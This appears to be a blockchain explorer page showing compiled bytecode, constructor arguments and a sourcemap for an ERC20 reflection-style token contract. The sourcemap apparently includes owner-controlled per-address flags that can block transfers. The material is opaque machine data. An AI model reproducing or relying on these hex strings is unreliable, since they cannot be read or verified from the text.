90919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e549050600069014542ba12a337c00000905060005b600b80549050811015612070578260076000600b8481548110611e2c57611e2b612d39565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611f1a57508160086000600b8481548110611eb257611eb1612d39565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611f3957600e5469014542ba12a337c00000945094505050506120b9565b611fc960076000600b8481548110611f5457611f53612d39565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461124790919063ffffffff16565b925061205b60086000600b8481548110611fe657611fe5612d39565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361124790919063ffffffff16565b9150808061206890612d68565b915050611e06565b5061209069014542ba12a337c00000600e546111fd90919063ffffffff16565b8210156120b057600e5469014542ba12a337c000009350935050506120b9565b81819350935050505b9091565b6000808314156120d05760009050612132565b600082846120de9190612db1565b90508284826120ed9190612d08565b1461212d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212490612e7d565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b6121508161213d565b811461215b57600080fd5b50565b60008135905061216d81612147565b92915050565b60006020828403121561218957612188612138565b5b60006121978482850161215e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121da5780820151818401526020810190506121bf565b838111156121e9576000848401525b50505050565b6000601f19601f8301169050919050565b600061220b826121a0565b61221581856121ab565b93506122258185602086016121bc565b61222e816121ef565b840191505092915050565b600060208201905081810360008301526122538184612200565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122868261225b565b9050919050565b6122968161227b565b81146122a157600080fd5b50565b6000813590506122b38161228d565b92915050565b600080604083850312156122d0576122cf612138565b5b60006122de858286016122a4565b92505060206122ef8582860161215e565b9150509250929050565b60008115159050919050565b61230e816122f9565b82525050565b60006020820190506123296000830184612305565b92915050565b60006020828403121561234557612344612138565b5b6000612353848285016122a4565b91505092915050565b6123658161213d565b82525050565b6000602082019050612380600083018461235c565b92915050565b60008060006060848603121561239f5761239e612138565b5b60006123ad868287016122a4565b93505060206123be868287016122a4565b92505060406123cf8682870161215e565b9150509250925092565b600060ff82169050919050565b6123ef816123d9565b82525050565b600060208201905061240a60008301846123e6565b92915050565b612419816122f9565b811461242457600080fd5b50565b60008135905061243681612410565b92915050565b6000806040838503121561245357612452612138565b5b60006124618582860161215e565b925050602061247285828601612427565b9150509250929050565b6124858161227b565b82525050565b60006020820190506124a0600083018461247c565b92915050565b6000806000606084860312156124bf576124be612138565b5b60006124cd868287016122a4565b93505060206124de8682870161215e565b92505060406124ef8682870161215e565b9150509250925092565b600080604083850312156125105761250f612138565b5b600061251e858286016122a4565b925050602061252f858286016122a4565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612595602c836121ab565b91506125a082612539565b604082019050919050565b600060208201905081810360008301526125c481612588565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061261257607f821691505b60208210811415612626576126256125cb565b5b50919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b6000612662601d836121ab565b915061266d8261262c565b602082019050919050565b6000602082019050818103600083015261269181612655565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006126f4602a836121ab565b91506126ff82612698565b604082019050919050565b60006020820190508181036000830152612723816126e7565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b6000612760601f836121ab565b915061276b8261272a565b602082019050919050565b6000602082019050818103600083015261278f81612753565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006127cc6020836121ab565b91506127d782612796565b602082019050919050565b600060208201905081810360008301526127fb816127bf565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b600061285e602c836121ab565b915061286982612802565b604082019050919050565b6000602082019050818103600083015261288d81612851565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006128ce8261213d565b91506128d98361213d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561290e5761290d612894565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061294f601b836121ab565b915061295a82612919565b602082019050919050565b6000602082019050818103600083015261297e81612942565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006129e16024836121ab565b91506129ec82612985565b604082019050919050565b60006020820190508181036000830152612a10816129d4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a736022836121ab565b9150612a7e82612a17565b604082019050919050565b60006020820190508181036000830152612aa281612a66565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b056025836121ab565b9150612b1082612aa9565b604082019050919050565b60006020820190508181036000830152612b3481612af8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612b976023836121ab565b9150612ba282612b3b565b604082019050919050565b60006020820190508181036000830152612bc681612b8a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612c296029836121ab565b9150612c3482612bcd565b604082019050919050565b60006020820190508181036000830152612c5881612c1c565b9050919050565b50565b6000612c6f6000836121ab565b9150612c7a82612c5f565b600082019050919050565b60006020820190508181036000830152612c9e81612c62565b9050919050565b6000612cb08261213d565b9150612cbb8361213d565b925082821015612cce57612ccd612894565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612d138261213d565b9150612d1e8361213d565b925082612d2e57612d2d612cd9565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d738261213d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612da657612da5612894565b5b600182019050919050565b6000612dbc8261213d565b9150612dc78361213d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e0057612dff612894565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e676021836121ab565b9150612e7282612e0b565b604082019050919050565b60006020820190508181036000830152612e9681612e5a565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220339b84d89bafa1214a38b7cbf579c0510dc185e504df3c9c14c665d64f732add64736f6c63430008080033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : unif (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
Arg [1] : unir (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

5153:9768:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8547:346;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6617:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7360:147;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12906:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13111:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6858:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7513:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9273:235;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6779:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7814:204;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8899:368;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6949:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5016:134;;;:::i;:::-;;4876;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13007:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4712:69;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6696:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8285:256;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12807:93;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8024:255;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7062:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7221:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8547:346;8595:14;8612:12;:10;:12::i;:::-;8595:29;;8640:11;:19;8652:6;8640:19;;;;;;;;;;;;;;;;;;;;;;;;;8639:20;8631:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;8716:15;8739:19;8750:7;8739:10;:19::i;:::-;8715:43;;;;;;8783:28;8803:7;8783;:15;8791:6;8783:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;8765:7;:15;8773:6;8765:15;;;;;;;;;;;;;;;:46;;;;8828:20;8840:7;8828;;:11;;:20;;;;:::i;:::-;8818:7;:30;;;;8868:23;8883:7;8868:10;;:14;;:23;;;;:::i;:::-;8855:10;:36;;;;8588:305;;8547:346;:::o;6617:73::-;6654:13;6683:5;6676:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6617:73;:::o;7360:147::-;7435:4;7448:39;7457:12;:10;:12::i;:::-;7471:7;7480:6;7448:8;:39::i;:::-;7501:4;7494:11;;7360:147;;;;:::o;12906:95::-;4658:10;4642:26;;:12;;;;;;;;;;;:26;;;4634:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12994:5:::1;12972:10;:19;12983:7;12972:19;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;12906:95:::0;:::o;13111:77::-;13155:4;13175:11;;;;;;;;;;;13168:18;;13111:77;:::o;6858:85::-;6911:7;5428:19;6927:14;;6858:85;:::o;7513:295::-;7611:4;7624:36;7634:6;7642:9;7653:6;7624:9;:36::i;:::-;7667:121;7676:6;7684:12;:10;:12::i;:::-;7698:89;7736:6;7698:89;;;;;;;;;;;;;;;;;:11;:19;7710:6;7698:19;;;;;;;;;;;;;;;:33;7718:12;:10;:12::i;:::-;7698:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7667:8;:121::i;:::-;7802:4;7795:11;;7513:295;;;;;:::o;9273:235::-;9339:7;9374;;9363;:18;;9355:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;9435:19;9458:10;:8;:10::i;:::-;9435:33;;9482:24;9494:11;9482:7;:11;;:24;;;;:::i;:::-;9475:31;;;9273:235;;;:::o;6779:73::-;6820:5;6841:9;;;;;;;;;;;6834:16;;6779:73;:::o;7814:204::-;7902:4;7915:83;7924:12;:10;:12::i;:::-;7938:7;7947:50;7986:10;7947:11;:25;7959:12;:10;:12::i;:::-;7947:25;;;;;;;;;;;;;;;:34;7973:7;7947:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7915:8;:83::i;:::-;8012:4;8005:11;;7814:204;;;;:::o;8899:368::-;8989:7;5428:19;9013:7;:18;;9005:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;9079:17;9074:192;;9106:15;9129:19;9140:7;9129:10;:19::i;:::-;9105:43;;;;;;9162:7;9155:14;;;;;9074:192;9186:23;9216:19;9227:7;9216:10;:19::i;:::-;9184:51;;;;;;9249:15;9242:22;;;8899:368;;;;;:::o;6949:107::-;7015:7;7038;:16;7046:7;7038:16;;;;;;;;;;;;;;;;7031:23;;6949:107;;;:::o;5016:134::-;4544:12;:10;:12::i;:::-;4534:22;;:6;;;;;;;;;;:22;;;4526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5119:1:::1;5082:40;;5103:6;::::0;::::1;;;;;;;;5082:40;;;;;;;;;;;;5146:1;5129:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5016:134::o:0;4876:::-;4544:12;:10;:12::i;:::-;4534:22;;:6;;;;;;;;;;:22;;;4526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4976:1:::1;4952:26;;:12;;;;;;;;;;;:26;;;4943:36;;;::::0;::::1;;5001:7;4986:12;;:22;;;;;;;;;;;;;;;;;;4876:134:::0;:::o;13007:98::-;13064:4;13084:10;:19;13095:7;13084:19;;;;;;;;;;;;;;;;;;;;;;;;;13077:26;;13007:98;;;:::o;4712:69::-;4750:7;4773:6;;;;;;;;;;;4766:13;;4712:69;:::o;6696:77::-;6735:13;6764:7;6757:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6696:77;:::o;8285:256::-;4658:10;4642:26;;:12;;;;;;;;;;;:26;;;4634:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8408:1:::1;8389:21;;:7;:21;;;;8381:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;8485:54;8496:4;8485:54;;;;;;;;;;;;;;;;;:6;:10;;:54;;;;;:::i;:::-;8466:7;:16;8474:7;8466:16;;;;;;;;;;;;;;;:73;;;;8285:256:::0;;;:::o;12807:93::-;4658:10;4642:26;;:12;;;;;;;;;;;:26;;;4634:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12894:4:::1;12872:10;:19;12883:7;12872:19;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;12807:93:::0;:::o;8024:255::-;8117:4;8130:129;8139:12;:10;:12::i;:::-;8153:7;8162:96;8201:15;8162:96;;;;;;;;;;;;;;;;;:11;:25;8174:12;:10;:12::i;:::-;8162:25;;;;;;;;;;;;;;;:34;8188:7;8162:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8130:8;:129::i;:::-;8273:4;8266:11;;8024:255;;;;:::o;7062:153::-;7140:4;7153:42;7163:12;:10;:12::i;:::-;7177:9;7188:6;7153:9;:42::i;:::-;7209:4;7202:11;;7062:153;;;;:::o;7221:133::-;7302:7;7325:11;:18;7337:5;7325:18;;;;;;;;;;;;;;;:27;7344:7;7325:27;;;;;;;;;;;;;;;;7318:34;;7221:133;;;;:::o;1685:122::-;1743:7;1766:39;1770:1;1773;1766:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1759:46;;1685:122;;;;:::o;1163:126::-;1221:7;1244:43;1248:1;1251;1244:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1237:50;;1163:126;;;;:::o;91:105::-;144:15;183:10;168:26;;91:105;:::o;13333:389::-;13392:7;13401;13410;13419;13428;13445:23;13470:12;13486:20;13498:7;13486:11;:20::i;:::-;13444:62;;;;13513:19;13536:10;:8;:10::i;:::-;13513:33;;13554:15;13571:23;13596:12;13612:39;13624:7;13633:4;13639:11;13612;:39::i;:::-;13553:98;;;;;;13666:7;13675:15;13692:4;13698:15;13715:4;13658:62;;;;;;;;;;;;;;;;13333:389;;;;;;;:::o;996:161::-;1054:7;1070:9;1086:1;1082;:5;;;;:::i;:::-;1070:17;;1107:1;1102;:6;;1094:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1154:1;1147:8;;;996:161;;;;:::o;9514:313::-;9620:1;9603:19;;:5;:19;;;;9595:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9697:1;9678:21;;:7;:21;;;;9670:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9775:6;9745:11;:18;9757:5;9745:18;;;;;;;;;;;;;;;:27;9764:7;9745:27;;;;;;;;;;;;;;;:36;;;;9809:7;9793:32;;9802:5;9793:32;;;9818:6;9793:32;;;;;;:::i;:::-;;;;;;;;9514:313;;;:::o;9833:989::-;9944:1;9926:20;;:6;:20;;;;9918:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;10024:1;10003:23;;:9;:23;;;;9995:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10090:1;10081:6;:10;10073:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10148:10;:18;10159:6;10148:18;;;;;;;;;;;;;;;;;;;;;;;;;:43;;;;10170:10;:21;10181:9;10170:21;;;;;;;;;;;;;;;;;;;;;;;;;10148:43;10144:74;;;10212:1;10202:6;:11;10193:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;10144:74;10244:4;10229:19;;:11;;;;;;;;;;;:19;;;:46;;;;10262:13;:11;:13::i;:::-;10252:23;;:6;:23;;;10229:46;:76;;;;10292:13;:11;:13::i;:::-;10279:26;;:9;:26;;;10229:76;10225:596;;;10318:11;:19;10330:6;10318:19;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;;10342:11;:22;10354:9;10342:22;;;;;;;;;;;;;;;;;;;;;;;;;10341:23;10318:46;10314:459;;;10391:69;10411:6;10391:69;;;;;;;;;;;;;;;;;:7;:15;10399:6;10391:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;10373:7;:15;10381:6;10373:15;;;;;;;;;;;;;;;:87;;;;10488:30;10511:6;10488:7;:18;10496:9;10488:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;10467:7;:18;10475:9;10467:18;;;;;;;;;;;;;;;:51;;;;10547:9;10530:35;;10539:6;10530:35;;;10558:6;10530:35;;;;;;:::i;:::-;;;;;;;;10314:459;;;10597:69;10617:6;10597:69;;;;;;;;;;;;;;;;;:7;:15;10605:6;10597:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;10579:7;:15;10587:6;10579:15;;;;;;;;;;;;;;;:87;;;;10694:30;10717:6;10694:7;:18;10702:9;10694:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;10673:7;:18;10681:9;10673:18;;;;;;;;;;;;;;;:51;;;;10753:9;10736:35;;10745:6;10736:35;;;10764:6;10736:35;;;;;;:::i;:::-;;;;;;;;10314:459;10225:596;;;10810:4;10795:19;;:11;;;;;;;;;;;:19;;;10786:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;10225:596;9833:989;;;:::o;1295:172::-;1381:7;1410:1;1405;:6;;1413:12;1397:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1433:9;1449:1;1445;:5;;;;:::i;:::-;1433:17;;1464:1;1457:8;;;1295:172;;;;;:::o;14264:149::-;14305:7;14322:15;14339;14358:19;:17;:19::i;:::-;14321:56;;;;14391:20;14403:7;14391;:11;;:20;;;;:::i;:::-;14384:27;;;;14264:149;:::o;1813:171::-;1899:7;1927:1;1923;:5;1930:12;1915:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1950:9;1966:1;1962;:5;;;;:::i;:::-;1950:17;;1981:1;1974:8;;;1813:171;;;;;:::o;13728:212::-;13788:7;13797;13813:12;13828:23;13849:1;13828:16;13840:3;13828:7;:11;;:16;;;;:::i;:::-;:20;;:23;;;;:::i;:::-;13813:38;;13858:23;13884:17;13896:4;13884:7;:11;;:17;;;;:::i;:::-;13858:43;;13916:15;13933:4;13908:30;;;;;;13728:212;;;:::o;13946:312::-;14041:7;14050;14059;14075:15;14093:24;14105:11;14093:7;:11;;:24;;;;:::i;:::-;14075:42;;14124:12;14139:21;14148:11;14139:4;:8;;:21;;;;:::i;:::-;14124:36;;14167:23;14193:17;14205:4;14193:7;:11;;:17;;;;:::i;:::-;14167:43;;14225:7;14234:15;14251:4;14217:39;;;;;;;;;13946:312;;;;;;;:::o;4787:83::-;4833:7;4856:12;;;;;;;;;;;4849:19;;4787:83;:::o;14419:501::-;14469:7;14478;14494:15;14512:7;;14494:25;;14526:15;5428:19;14526:25;;14569:9;14564:255;14588:9;:16;;;;14584:1;:20;14564:255;;;14646:7;14622;:21;14630:9;14640:1;14630:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14622:21;;;;;;;;;;;;;;;;:31;:66;;;;14681:7;14657;:21;14665:9;14675:1;14665:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14657:21;;;;;;;;;;;;;;;;:31;14622:66;14618:97;;;14698:7;;5428:19;14690:25;;;;;;;;;14618:97;14732:34;14744:7;:21;14752:9;14762:1;14752:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14744:21;;;;;;;;;;;;;;;;14732:7;:11;;:34;;;;:::i;:::-;14722:44;;14783:34;14795:7;:21;14803:9;14813:1;14803:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14795:21;;;;;;;;;;;;;;;;14783:7;:11;;:34;;;;:::i;:::-;14773:44;;14606:3;;;;;:::i;:::-;;;;14564:255;;;;14839:20;5428:19;14839:7;;:11;;:20;;;;:::i;:::-;14829:7;:30;14825:61;;;14869:7;;5428:19;14861:25;;;;;;;;14825:61;14901:7;14910;14893:25;;;;;;14419:501;;;:::o;1473:206::-;1531:7;1556:1;1551;:6;1547:29;;;1573:1;1566:8;;;;1547:29;1582:9;1598:1;1594;:5;;;;:::i;:::-;1582:17;;1623:1;1618;1614;:5;;;;:::i;:::-;:10;1606:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1676:1;1669:8;;;1473:206;;;;;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:99::-;1077:6;1111:5;1105:12;1095:22;;1025:99;;;:::o;1130:169::-;1214:11;1248:6;1243:3;1236:19;1288:4;1283:3;1279:14;1264:29;;1130:169;;;;:::o;1305:307::-;1373:1;1383:113;1397:6;1394:1;1391:13;1383:113;;;1482:1;1477:3;1473:11;1467:18;1463:1;1458:3;1454:11;1447:39;1419:2;1416:1;1412:10;1407:15;;1383:113;;;1514:6;1511:1;1508:13;1505:101;;;1594:1;1585:6;1580:3;1576:16;1569:27;1505:101;1354:258;1305:307;;;:::o;1618:102::-;1659:6;1710:2;1706:7;1701:2;1694:5;1690:14;1686:28;1676:38;;1618:102;;;:::o;1726:364::-;1814:3;1842:39;1875:5;1842:39;:::i;:::-;1897:71;1961:6;1956:3;1897:71;:::i;:::-;1890:78;;1977:52;2022:6;2017:3;2010:4;2003:5;1999:16;1977:52;:::i;:::-;2054:29;2076:6;2054:29;:::i;:::-;2049:3;2045:39;2038:46;;1818:272;1726:364;;;;:::o;2096:313::-;2209:4;2247:2;2236:9;2232:18;2224:26;;2296:9;2290:4;2286:20;2282:1;2271:9;2267:17;2260:47;2324:78;2397:4;2388:6;2324:78;:::i;:::-;2316:86;;2096:313;;;;:::o;2415:126::-;2452:7;2492:42;2485:5;2481:54;2470:65;;2415:126;;;:::o;2547:96::-;2584:7;2613:24;2631:5;2613:24;:::i;:::-;2602:35;;2547:96;;;:::o;2649:122::-;2722:24;2740:5;2722:24;:::i;:::-;2715:5;2712:35;2702:63;;2761:1;2758;2751:12;2702:63;2649:122;:::o;2777:139::-;2823:5;2861:6;2848:20;2839:29;;2877:33;2904:5;2877:33;:::i;:::-;2777:139;;;;:::o;2922:474::-;2990:6;2998;3047:2;3035:9;3026:7;3022:23;3018:32;3015:119;;;3053:79;;:::i;:::-;3015:119;3173:1;3198:53;3243:7;3234:6;3223:9;3219:22;3198:53;:::i;:::-;3188:63;;3144:117;3300:2;3326:53;3371:7;3362:6;3351:9;3347:22;3326:53;:::i;:::-;3316:63;;3271:118;2922:474;;;;;:::o;3402:90::-;3436:7;3479:5;3472:13;3465:21;3454:32;;3402:90;;;:::o;3498:109::-;3579:21;3594:5;3579:21;:::i;:::-;3574:3;3567:34;3498:109;;:::o;3613:210::-;3700:4;3738:2;3727:9;3723:18;3715:26;;3751:65;3813:1;3802:9;3798:17;3789:6;3751:65;:::i;:::-;3613:210;;;;:::o;3829:329::-;3888:6;3937:2;3925:9;3916:7;3912:23;3908:32;3905:119;;;3943:79;;:::i;:::-;3905:119;4063:1;4088:53;4133:7;4124:6;4113:9;4109:22;4088:53;:::i;:::-;4078:63;;4034:117;3829:329;;;;:::o;4164:118::-;4251:24;4269:5;4251:24;:::i;:::-;4246:3;4239:37;4164:118;;:::o;4288:222::-;4381:4;4419:2;4408:9;4404:18;4396:26;;4432:71;4500:1;4489:9;4485:17;4476:6;4432:71;:::i;:::-;4288:222;;;;:::o;4516:619::-;4593:6;4601;4609;4658:2;4646:9;4637:7;4633:23;4629:32;4626:119;;;4664:79;;:::i;:::-;4626:119;4784:1;4809:53;4854:7;4845:6;4834:9;4830:22;4809:53;:::i;:::-;4799:63;;4755:117;4911:2;4937:53;4982:7;4973:6;4962:9;4958:22;4937:53;:::i;:::-;4927:63;;4882:118;5039:2;5065:53;5110:7;5101:6;5090:9;5086:22;5065:53;:::i;:::-;5055:63;;5010:118;4516:619;;;;;:::o;5141:86::-;5176:7;5216:4;5209:5;5205:16;5194:27;;5141:86;;;:::o;5233:112::-;5316:22;5332:5;5316:22;:::i;:::-;5311:3;5304:35;5233:112;;:::o;5351:214::-;5440:4;5478:2;5467:9;5463:18;5455:26;;5491:67;5555:1;5544:9;5540:17;5531:6;5491:67;:::i;:::-;5351:214;;;;:::o;5571:116::-;5641:21;5656:5;5641:21;:::i;:::-;5634:5;5631:32;5621:60;;5677:1;5674;5667:12;5621:60;5571:116;:::o;5693:133::-;5736:5;5774:6;5761:20;5752:29;;5790:30;5814:5;5790:30;:::i;:::-;5693:133;;;;:::o;5832:468::-;5897:6;5905;5954:2;5942:9;5933:7;5929:23;5925:32;5922:119;;;5960:79;;:::i;:::-;5922:119;6080:1;6105:53;6150:7;6141:6;6130:9;6126:22;6105:53;:::i;:::-;6095:63;;6051:117;6207:2;6233:50;6275:7;6266:6;6255:9;6251:22;6233:50;:::i;:::-;6223:60;;6178:115;5832:468;;;;;:::o;6306:118::-;6393:24;6411:5;6393:24;:::i;:::-;6388:3;6381:37;6306:118;;:::o;6430:222::-;6523:4;6561:2;6550:9;6546:18;6538:26;;6574:71;6642:1;6631:9;6627:17;6618:6;6574:71;:::i;:::-;6430:222;;;;:::o;6658:619::-;6735:6;6743;6751;6800:2;6788:9;6779:7;6775:23;6771:32;6768:119;;;6806:79;;:::i;:::-;6768:119;6926:1;6951:53;6996:7;6987:6;6976:9;6972:22;6951:53;:::i;:::-;6941:63;;6897:117;7053:2;7079:53;7124:7;7115:6;7104:9;7100:22;7079:53;:::i;:::-;7069:63;;7024:118;7181:2;7207:53;7252:7;7243:6;7232:9;7228:22;7207:53;:::i;:::-;7197:63;;7152:118;6658:619;;;;;:::o;7283:474::-;7351:6;7359;7408:2;7396:9;7387:7;7383:23;7379:32;7376:119;;;7414:79;;:::i;:::-;7376:119;7534:1;7559:53;7604:7;7595:6;7584:9;7580:22;7559:53;:::i;:::-;7549:63;;7505:117;7661:2;7687:53;7732:7;7723:6;7712:9;7708:22;7687:53;:::i;:::-;7677:63;;7632:118;7283:474;;;;;:::o;7763:231::-;7903:34;7899:1;7891:6;7887:14;7880:58;7972:14;7967:2;7959:6;7955:15;7948:39;7763:231;:::o;8000:366::-;8142:3;8163:67;8227:2;8222:3;8163:67;:::i;:::-;8156:74;;8239:93